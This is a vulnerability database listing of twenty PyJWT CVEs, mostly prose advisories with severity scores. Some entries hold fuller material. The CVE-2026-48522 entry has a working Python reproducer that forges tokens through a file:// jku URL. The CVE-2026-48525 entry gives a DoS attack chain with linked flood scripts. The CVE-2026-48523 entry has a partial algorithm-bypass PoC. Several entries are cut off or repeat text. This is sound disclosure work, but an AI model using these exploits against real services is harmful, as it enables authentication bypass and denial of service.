Threat database
20 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 6.5 | EPSS 0.2% | CVE-2026-103001pyjwt · Modification of Assumed-Immutable Data (MAID) Medium6.5EPSS 0.2%CVE Database V5CVE-2026-103001 PyJWT versions 2.11.0 through 2.13.0 contain a vulnerability where the decode() and decode_complete() functions mutate a caller-supplied options dictionary when signature verification is disabled. This mutation can cause subsequent calls that enable signature verification to inherit disabled claim checks such as expiration, audience, issuer, and subject verification, allowing acceptance of tokens with invalid claims without raising exceptions. This is a claims verification bypass, not a signature verification bypass. The issue is a regression introduced in March 2025 by a refactor that removed a shallow copy of the options dictionary. The vulnerability requires the application to reuse the same mutable options dictionary across decode calls with different verification intents. | CVE Database V5 | ||
| High | 7.4 | EPSS 0.2% | CVE-2026-102271pyjwt · Improper Verification of Cryptographic Signature High7.4EPSS 0.2%CVE Database V5CVE-2026-102271 PyJWT versions from 2.4.0 up to but not including 2.14.0 contain a vulnerability in the HMACAlgorithm.prepare_key function. This flaw arises when applications mix HMAC and asymmetric algorithms and provide a DER-encoded public key as the shared verification key. Due to improper verification of cryptographic signatures, PyJWT mistakenly uses the public DER bytes as an HMAC secret. An attacker with knowledge of the public key can exploit this to forge authenticated HMAC tokens. The vulnerability is fixed in version 2.14.0. | CVE Database V5 | ||
| Medium | 6.5 | EPSS 0.1% | CVE-2026-102275pyjwt · Insufficient Verification of Data Authenticity Medium6.5EPSS 0.1%CVE Database V5CVE-2026-102275 PyJWT versions from 2.1.0 up to but not including 2.15.0 contain a vulnerability in the OKPAlgorithm.from_jwk function where the private JWK import does not verify that the public key component x corresponds to the private key component d. This can lead to a mismatch between the identity derived from x and operations performed with d. If an integration accepts private key parameters from a proof header without rejecting them, an attacker could misuse a stolen sender-constrained token without possessing the legitimate private key. The issue is fixed in version 2.15.0. | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.3% | CVE-2026-102265pyjwt · Uncontrolled Recursion Medium5.3EPSS 0.3%CVE Database V5CVE-2026-102265 PyJWT versions from 2.13.0 up to but not including 2.14.0 contain a vulnerability where deeply nested JSON arrays in the JWT header cause a RecursionError during parsing. This error is not caught by the library's usual exception handling, resulting in an HTTP 500 server error and a full traceback logged. This allows unauthenticated attackers to cause a denial of service on JWT validation endpoints without crashing the server or exposing data. The issue is fixed in PyJWT 2.14.0. | CVE Database V5 | ||
| Medium | 4.4 | EPSS 0.2% | CVE-2026-102270pyjwt · Inefficient Regular Expression Complexity Medium4.4EPSS 0.2%CVE Database V5CVE-2026-102270 CVE-2026-102270 is a Regular Expression Denial of Service (ReDoS) vulnerability in the pyjwt library's is_pem_format function. The vulnerability arises from a regex pattern that exhibits quadratic time complexity when processing malformed PEM-like inputs consisting of repeated '-----BEGIN CERTIFICATE-----' lines without a corresponding '---- END' line. This can cause excessive CPU usage, potentially leading to resource exhaustion and denial of service. The issue affects pyjwt versions prior to 2.14.0. A fix replacing the vulnerable regex with a bounded marker scan was released in pyjwt 2.14.0 on 2026-09-11. | CVE Database V5 | ||
| Medium | 4.8 | EPSS 0.2% | Medium4.8EPSS 0.2%CVE Database V5CVE-2026-102269 PyJWT versions prior to 2.14.0 accept JWS signature segments with non-canonical Base64URL characters, which do not affect the decoded signature or claims but alter the serialized token and its hash. This can allow bypass of logout or revocation mechanisms that rely on the raw serialized token as a security identity. The issue is not related to signature forgery and requires possession of a valid token. A fix rejecting such non-canonical characters is prepared but not yet released. | CVE Database V5 | ||
| Critical | 9.1 | EPSS 0.2% | CVE-2026-102268pyjwt · Improper Verification of Cryptographic Signature Critical9.1EPSS 0.2%CVE Database V5CVE-2026-102268 PyJWT versions prior to 2.14.0 contain a vulnerability in the is_pem_format function that improperly verifies cryptographic signatures. This flaw allows an attacker who knows a public key to forge authenticated HMAC tokens by exploiting how the library misinterprets certain malformed PEM public keys as HMAC secrets. The issue is resolved in version 2.14.0. | CVE Database V5 | ||
| High | 7.4 | EPSS 0.2% | High7.4EPSS 0.2%CVE Database V5CVE-2026-102267 PyJWT versions prior to 2.14.0 contain a vulnerability in the PyJWKClient component where HTTP redirects during JWKS fetching are followed without validating the redirect destination. This can lead to exposure of sensitive request headers and allow an attacker-influenced redirect to poison JWKS trust, potentially causing acceptance of forged JWTs. The issue requires an attacker to influence the configured JWKS endpoint's response and is not triggered by token key IDs alone. The vulnerability is fixed in PyJWT 2.14.0. | CVE Database V5 | ||
| Medium | 5.9 | EPSS 0.4% | CVE-2026-102274pyjwt · Improper Handling of Exceptional Conditions Medium5.9EPSS 0.4%CVE Database V5CVE-2026-102274 PyJWT versions 2.9.0 through 2.13.0 contain a vulnerability where a malformed RSA JWK in a JWK Set causes the entire set parsing to abort due to an uncaught ValueError. This happens because the ValueError raised by the cryptography library during RSA key recovery is not caught by PyJWT's exception handling, leading to denial of service in key processing. | CVE Database V5 | ||
| High | 7.4 | EPSS 0.2% | CVE-2026-102273pyjwt · Improper Verification of Cryptographic Signature High7.4EPSS 0.2%CVE Database V5CVE-2026-102273 PyJWT versions from 2.13.0 up to but not including 2.14.0 contain a vulnerability in the HMACAlgorithm.prepare_key function. The issue arises because the HMAC key guard only recognizes top-level public JWK forms and misses container representations, allowing public asymmetric key material to be accepted as the HMAC secret. This flaw enables an attacker who knows the public key to forge tokens with arbitrary authenticated claims. The vulnerability is fixed in version 2.14.0. | CVE Database V5 | ||
| High | 7.4 | EPSS 0.2% | CVE-2026-102272pyjwt · Improper Verification of Cryptographic Signature High7.4EPSS 0.2%CVE Database V5CVE-2026-102272 PyJWT version 2.13.0 has a vulnerability in its cryptographic signature verification due to improper handling of UTF-8 BOM prefixes in JSON Web Key detection. This flaw allows attackers who know the RSA public key to forge JWT tokens with arbitrary claims if the verifier accepts both HS256 and RS256 algorithms. The issue causes an RSA public key to be misinterpreted as an HMAC secret, resulting in complete authentication and authorization bypass. A fix has been committed but not yet released as of the advisory date. | CVE Database V5 | ||
| High | 7.4 | EPSS 0.2% | CVE-2026-102266pyjwt · Improper Verification of Cryptographic Signature High7.4EPSS 0.2%CVE Database V5CVE-2026-102266 CVE-2026-102266 is a vulnerability in PyJWT 2.13.0 where verification of HS256 tokens using an empty symmetric octet JWK key bypasses the intended empty key rejection. While raw empty HMAC keys are rejected, empty keys supplied via PyJWK objects are accepted, allowing attackers to forge valid HS256 JWTs if the application uses an empty key in its JWK set. This occurs because the PyJWK verification path does not invoke the empty key validation, enabling signature verification with a zero-length key. | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.4% | CVE-2026-101918pyjwt · Uncaught Exception Medium5.3EPSS 0.4%CVE Database V5CVE-2026-101918 setup.py test %endif Security Fix(es): PyJWT is a Python implementation of JSON Web Token standards. From 2.0.0a1 until 2.15.0, PyJWT PyJWKClient.get_signing_key_from_jwt is affected because payload parser catches ValueError but not RecursionError. This occurs when an attacker-controlled recursively nested payload reaches json.loads. As a result, documented PyJWT exception handling does not contain the failure. Consequently, an unauthenticated request can raise an exception that may produce an HTTP 500 response. The advisory-defined affected implementation also includes jwt/api_jwt.py, verify_signature=False. This issue is fixed in version 2.15.0.(CVE-2026-101918) PyJWT is a Python implementation of JSON Web Token standards. From 2.13.0 until 2.14.0, PyJWS._load in jwt/api_jws.py is affected because parser catches ValueError but not RecursionError. This occurs when a deeply nested token header reaches json.loads. As a result, RecursionError escapes the documented PyJWT error hierarchy. Consequently, an unauthenticated malformed token can cause a request-level failure and HTTP 500. This issue is fixed in version 2.14.0.(CVE-2026-102265) PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT signature segment is affected because signature segment decoding accepts characters outside the canonical Base64URL representation. This occurs when non-Base64URL characters are appended to a valid compact JWS signature segment. As a result, base64url_decode produces the same signature bytes for different serialized segments. Consequently, raw-token revocation checks can fail to recognize an equivalent modified token. This issue is fixed in version 2.14.0.(CVE-2026-102269) PyJWT is a Python implementation of JSON Web Token standards. From 2.1.0 until 2.15.0, PyJWT OKPAlgorithm.from_jwk in jwt/algorithms.py is affected because private-JWK import path does not compare the public key derived from d with x. This occurs when an OKP private JWK supplies non-corresponding x and d components. As a result, identity derived from x can differ from operations performed with d. Consequently, if an integration also accepts private key parameters from a proof header without rejecting them, an attacker may use a stolen sender-constrained token without the legitimate private key. This issue is fixed in version 2.15.0.(CVE-2026-102275) | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.4% | CVE-2026-101917pyjwt · Allocation of Resources Without Limits or Throttling Medium5.3EPSS 0.4%CVE Database V5CVE-2026-101917 setup.py test %endif Security Fix(es): PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT get_signing_key_from_jwt is affected because unknown kid misses force refreshes without a negative cache or minimum refresh interval. This occurs when unauthenticated tokens repeatedly use the same unknown kid or varying kid values absent from the cached JWKS. As a result, each cache miss causes PyJWKClient to refresh the JWKS. Consequently, attacker traffic can amplify outbound requests to the configured JWKS endpoint. This issue is fixed in version 2.14.0.(CVE-2026-101917) PyJWT is a Python implementation of JSON Web Token standards. From 2.0.0a1 until 2.15.0, PyJWT PyJWKClient.get_signing_key_from_jwt is affected because payload parser catches ValueError but not RecursionError. This occurs when an attacker-controlled recursively nested payload reaches json.loads. As a result, documented PyJWT exception handling does not contain the failure. Consequently, an unauthenticated request can raise an exception that may produce an HTTP 500 response. The advisory-defined affected implementation also includes jwt/api_jwt.py, verify_signature=False. This issue is fixed in version 2.15.0.(CVE-2026-101918) PyJWT is a Python implementation of JSON Web Token standards. From 2.13.0 until 2.14.0, PyJWS._load in jwt/api_jws.py is affected because parser catches ValueError but not RecursionError. This occurs when a deeply nested token header reaches json.loads. As a result, RecursionError escapes the documented PyJWT error hierarchy. Consequently, an unauthenticated malformed token can cause a request-level failure and HTTP 500. This issue is fixed in version 2.14.0.(CVE-2026-102265) PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT signature segment is affected because signature segment decoding accepts characters outside the canonical Base64URL representation. This occurs when non-Base64URL characters are appended to a valid compact JWS signature segment. As a result, base64url_decode produces the same signature bytes for different serialized segments. Consequently, raw-token revocation checks can fail to recognize an equivalent modified token. This issue is fixed in version 2.14.0.(CVE-2026-102269) PyJWT is a Python implementation of JSON Web Token standards. From 2.1.0 until 2.15.0, PyJWT OKPAlgorithm.from_jwk in jwt/algorithms.py is affected because private-JWK import path does not compare the public key derived from d with x. This occurs when an OKP private JWK supplies non-corresponding x and d components. As a result, identity derived from x can differ from operations performed with d. Consequently, if an integration also accepts private key parameters from a proof header without rejecting them, an attacker may use a stolen sender-constrained token without the legitimate private key. This issue is fixed in version 2.15.0.(CVE-2026-102275) | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.4% | CVE-2026-48525pyjwt · Uncontrolled Resource Consumption Medium5.3EPSS 0.4%CVE Database V5CVE-2026-48525 > [!NOTE] > Practical impact depends on whether request body-size limits are enforced upstream (proxy/web-server/framework). Deployments with typical body-size caps (≤2 MB) bound the amplifier significantly; deployments accepting larger token inputs are more exposed. When verifying detached JWS tokens using the unencoded-payload option (`"b64": false`, RFC 7797), PyJWT performs **Base64URL decoding of the compact-serialization payload segment** *before* enforcing the detached-payload rules. For `b64=false`, PyJWT later **discards** that decoded payload and replaces it with the caller-provided `detached_payload`. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces **CPU work + memory allocations** even if the signature is invalid. This creates an **unauthenticated DoS** vector against any endpoint that verifies detached JWS using PyJWT. --- ## Affected Component(s) * `jwt/api_jws.py` * `PyJWS.decode()` / `PyJWS.decode_complete()` * `_load()` (parsing and Base64URL decoding) --- ## Root Cause (exact logic flaw) ### What happens in the code In `jwt/api_jws.py`, `decode_complete()` does the following (order matters): * Calls `_load(jwt)` first, which decodes the token segments * Only after that, checks `header.get("b64")` and if `False`, it replaces `payload = detached_payload` and rebuilds the signing input This behavior is visible in `decode_complete()`: * `_load(jwt)` happens **before** the `b64=false` handling * then `payload = detached_payload` and `signing_input = ... detached_payload` happens afterward ([GitHub][1]) Inside `_load()`, PyJWT unconditionally performs: * `payload = base64url_decode(payload_segment)` This is the expensive step the attacker can amplify ([GitHub][1]) ### Why this becomes a vulnerability For `b64=false` detached JWS, the payload segment in compact form is effectively **not needed** for verification in PyJWT’s own logic (since the library uses `detached_payload` as the real payload). Yet PyJWT still decodes it first, meaning: * cost is paid **even when signature is invalid** * the decoded bytes are **discarded** * attacker controls the size of this cost via token length --- ## Impact (evidence-driven) ### Security impact * **Unauthenticated remote DoS**: decoding work happens before signature rejection → attacker does not need signing key. * **CPU amplification**: Base64URL decode time scales linearly with payload segment size. * **Memory amplification**: decoded output allocates large byte buffers (tens of MB per request). * **Operational impact**: request queueing / worker starvation under modest concurrency bursts. ### Standards context (RFC 7797) RFC 7797 explicitly notes this option is used when payload is large and/or detached, and discusses interoperability requirements around marking it critical (“crit” with “b64”). ([IETF Datatracker][2]) (PyJWT supports `crit` validation, but the issue here is decode order / unbounded decode of an unused segment.) --- ## Affected Versions * **Confirmed affected:** PyJWT **2.12.1** (tested from your local editable install and repo). * **Likely affected:** all versions that include detached payload support for JWS decoding, which was introduced in **2.4.0** (“Add detached payload support for JWS encoding and decoding”). ([pyjwt.readthedocs.io][3]) (For GHSA, this phrasing is strong: “confirmed” + “likely since feature introduction”.) --- # Threat Model ### Typical real deployment A service verifies signed HTTP requests or webhooks using detached JWS: * token is provided in JSON body / query / header * actual payload is the HTTP request body passed as `detached_payload` ### Attacker * remote unauthenticated client * can send requests to verify endpoint * does **not** need a valid signature (invalid signature still triggers the expensive decode path) ### Attack chain 1. Attacker crafts a JWS compact token with header containing `"b64": false` and `crit:["b64"]`. 2. Attacker inflates the **payload segment** (middle segment) to millions of Base64URL characters. 3. Server calls `PyJWS.decode(...detached_payload=...)`. 4. PyJWT decodes the inflated segment (CPU + memory). 5. Signature is rejected afterward (401) — but resources already consumed. 6. Repeated requests or bursts cause queueing/worker starvation → DoS. --- # Proof of Concept - file names + results ## PoC placement * [server_localhost.py](https://github.com/user-attachments/files/26132755/server_localhost.py) * [client_localhost.py](https://github.com/user-attachments/files/26132757/client_localhost.py) * [flood_localhost.py](https://github.com/user-attachments/files/26132760/flood_localhost.py) --- ## PoC # 1 - Localhost verification server **File:** [server_localhost.py](https://github.com/user-attachments/files/26132755/server_localhost.py) **Purpose:** real HTTP endpoint (`POST /verify`) that calls PyJ | CVE Database V5 | ||
| Low | 3.7 | EPSS 0.3% | CVE-2026-48524pyjwt · Improper Cleanup on Thrown Exception Low3.7EPSS 0.3%CVE Database V5CVE-2026-48524 > [!NOTE] > The vulnerability surfaces only when a JWKS fetch fails; an attacker can attempt to provoke that with sustained unknown-kid traffic, but the outcome depends on upstream JWKS-endpoint behavior (rate limiting, transient errors) which is beyond the attacker's control. Impact is reduced auth availability until the next successful fetch, not complete denial of service. ## Summary PyJWKClient.get_signing_key() forces a fresh HTTP request to the JWKS endpoint for every JWT with an unknown kid value, with no rate limiting. Since kid comes from the unverified token header, an attacker can trigger unlimited outbound requests. Additionally, fetch_data() finally block clears the JWKS cache on network error. ## Root Cause jwt/jwks_client.py:172-198 - get_signing_key(kid) calls get_signing_keys(refresh=True) for unknown kids, bypassing TTL cache with no cooldown. jwt/jwks_client.py:120-122 - finally block writes None to cache on error, clearing valid data. ## Impact - DoS against JWKS endpoint (unlimited requests per invalid token) - DoS against application (network I/O latency) - Cascading failure (rate limiting clears cache, breaking legitimate auth) ## Suggested Fix 1. Add refresh cooldown (refuse refresh more than once per TTL period) 2. Move cache write from finally to else block ## Affected Versions All versions with PyJWKClient (2.4.0 through 2.12.1) | CVE Database V5 | ||
| Medium | 5.4 | EPSS 0.2% | CVE-2026-48523pyjwt · Improper Verification of Cryptographic Signature Medium5.4EPSS 0.2%CVE Database V5CVE-2026-48523 > [!NOTE] > Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug. PyJWT `2.9.0` through `2.12.1` allows a verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called with a `PyJWK` key. The token header `alg` is checked against the caller-supplied `algorithms` allow-list, but signature verification is performed with the algorithm bound to the `PyJWK` object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented `PyJWKClient.get_signing_key_from_jwt(...)` flow. ### Summary PyJWT's `PyJWK` verification path allows a verifier-side algorithm allow-list bypass. In affected versions, when a JWT is decoded with a `PyJWK` object, PyJWT verifies that the header `alg` string is present in the caller's `algorithms=[...]` list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the `PyJWK` object. This lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented `PyJWKClient` usage flow and does not require any non-default flags or unsafe configuration. ### Details In `jwt/api_jws.py` in `2.12.1`, `_verify_signature()` treats `PyJWK` keys differently from normal PEM/public-key inputs: ```python if algorithms is None and isinstance(key, PyJWK): algorithms = [key.algorithm_name] ... if not alg or (algorithms is not None and alg not in algorithms): raise InvalidAlgorithmError("The specified alg value is not allowed") if isinstance(key, PyJWK): alg_obj = key.Algorithm prepared_key = key.key else: alg_obj = self.get_algorithm_by_name(alg) prepared_key = alg_obj.prepare_key(key) ``` This logic means: 1. The JWT header `alg` is checked only as a string against the caller-supplied allow-list. 2. If the key is a `PyJWK`, the actual verifier is not selected from the header algorithm. 3. Instead, PyJWT always verifies with `key.Algorithm`, which is fixed when the `PyJWK` object is created. `PyJWK` binds its algorithm in `jwt/api_jwk.py` from the JWK's `alg` field or from key-type defaults: ```python if not algorithm and isinstance(self._jwk_data, dict): algorithm = self._jwk_data.get("alg", None) ... self.algorithm_name = algorithm self.Algorithm = get_default_algorithms()[algorithm] self.key = self.Algorithm.from_jwk(self._jwk_data) ``` So once a `PyJWK` is constructed, the verifier uses the `PyJWK`'s bound algorithm, not the JWT header algorithm. The issue is reachable through the documented JWKS flow. In `docs/usage.rst`, the project documents: ```python signing_key = jwks_client.get_signing_key_from_jwt(token) jwt.decode( token, signing_key, audience="https://expenses-api", options={"verify_exp": False}, algorithms=["RS256"], ) ``` `PyJWKClient.get_signing_key_from_jwt()` returns a `PyJWK`, so this documented path is affected. This is not a "no-key forgery" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as: - self-service OAuth client assertions - multi-tenant key registration - federation / BYO-JWKS trust models - any system where external parties sign JWTs with their own registered keys In those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept `PS256`, an attacker controlling an accepted RSA JWK can sign with `RS256`, set `alg=PS256` in the JWT header, and still be accepted through the `PyJWK` path. The same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to `PyJWK` verification rather than expected JWT behavior. This behavior was introduced by commit `ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1` (`Decode with PyJWK (#886)`), which is present in tagged releases `2.9.0`, `2.10.0`, `2.10.1`, `2.11.0`, `2.12.0`, and `2.12.1`. ### PoC Tested locally against PyJWT `2.12.1` on Python `3.12.10` with `cryptography 45.0.6`. Install dependencies: ```bash python -m pip install pyjwt==2.12.1 cryptography ``` Run the following script: ```python import json import jwt from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat from jwt.api_jwk import PyJWK from jwt.algorithms import RSAAlgorithm from jwt.utils import base64url_encode # Generate an RSA keypair controlled by the attacker. priv = rsa.generate_p | CVE Database V5 | ||
| Medium | 4.2 | EPSS 0.2% | CVE-2026-48522pyjwt · Confused Deputy Medium4.2EPSS 0.2%CVE Database V5CVE-2026-48522 > [!NOTE] > The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation. ## Summary PyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib's default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can: 1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) — the file's contents are passed to `json.load`. 2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface). 3. **Forge tokens that PyJWT verifies as valid** — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts. ## Affected versions Tested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction. ## Reproducer (full attack chain — verified empirically) ```python import jwt as pyjwt from jwt import PyJWKClient from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization import json, base64, time # Attacker generates keypair (no relation to real IdP) key = rsa.generate_private_key(public_exponent=65537, key_size=2048) pub_n = key.public_key().public_numbers().n def b64u(n): bl = (n.bit_length() + 7) // 8 return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode() # Attacker writes JWK Set containing their public key to /tmp jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256", "n":b64u(pub_n),"e":"AQAB"}]} with open("/tmp/attacker.json","w") as f: json.dump(jwks, f) # Attacker mints token signed with their private key, jku=file:// priv_pem = key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()) now = int(time.time()) token = pyjwt.encode( {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600}, priv_pem, algorithm="RS256", headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"}) # Vulnerable application pattern: caller derives jku from token header # and passes to PyJWKClient without scheme validation header = pyjwt.get_unverified_header(token) client = PyJWKClient(header["jku"]) # <-- accepts file:// silently key_obj = client.get_signing_key_from_jwt(token) decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"], audience="target-app") print("Token verified:", decoded) # Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...} ``` ## Cross-library evidence — PyJWT is the outlier The same composition pattern is structurally safe in 4 other mainstream JWT libraries: | Library | Behavior on `jku=file://...` | Mechanism | |---|---|---| | **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler | | panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer | | golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https | | Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` | | Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build | PyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer. ## Recommended fix Add `allowed_schemes: tuple[str, ...] = ("https", "http")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted. ### Diff sketch against `jwt/jwks_client.py` ```python def __init__( self, uri: str, cache_keys: bool = False, max_cached_keys: int = 16, cache_jwk_set: bool = True, lifespan: float = 300, headers: dict[str, Any] | None = None, timeout: float = 30, ssl_context: SSLContext | None = None, allowed_schemes: tuple[str, ...] = ("https", "http"), # NEW ): """... :param allowed_schemes: URL schemes the JWKS endpoint is permitted to use. Default ``("https", "http")``. Pass ``("https",)`` for HTTPS-only oper | CVE Database V5 | ||
| High | 7.4 | EPSS 0.4% | CVE-2026-48526pyjwt · Improper Authentication High7.4EPSS 0.4%CVE Database V5CVE-2026-48526 PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0. | CVE Database V5 | ||
| High | 7.5 | EPSS 0.3% | CVE-2026-32597pyjwt · Insufficient Verification of Data Authenticity High7.5EPSS 0.3%CVE Database V5CVE-2026-32597 PyJWT is a JSON Web Token implementation in Python. Prior to 2.12.0, PyJWT does not validate the crit (Critical) Header Parameter defined in RFC 7515 §4.1.11. When a JWS token contains a crit array listing extensions that PyJWT does not understand, the library accepts the token instead of rejecting it. This violates the MUST requirement in the RFC. This vulnerability is fixed in 2.12.0. | CVE Database V5 |
Showing 1–20 of 20 results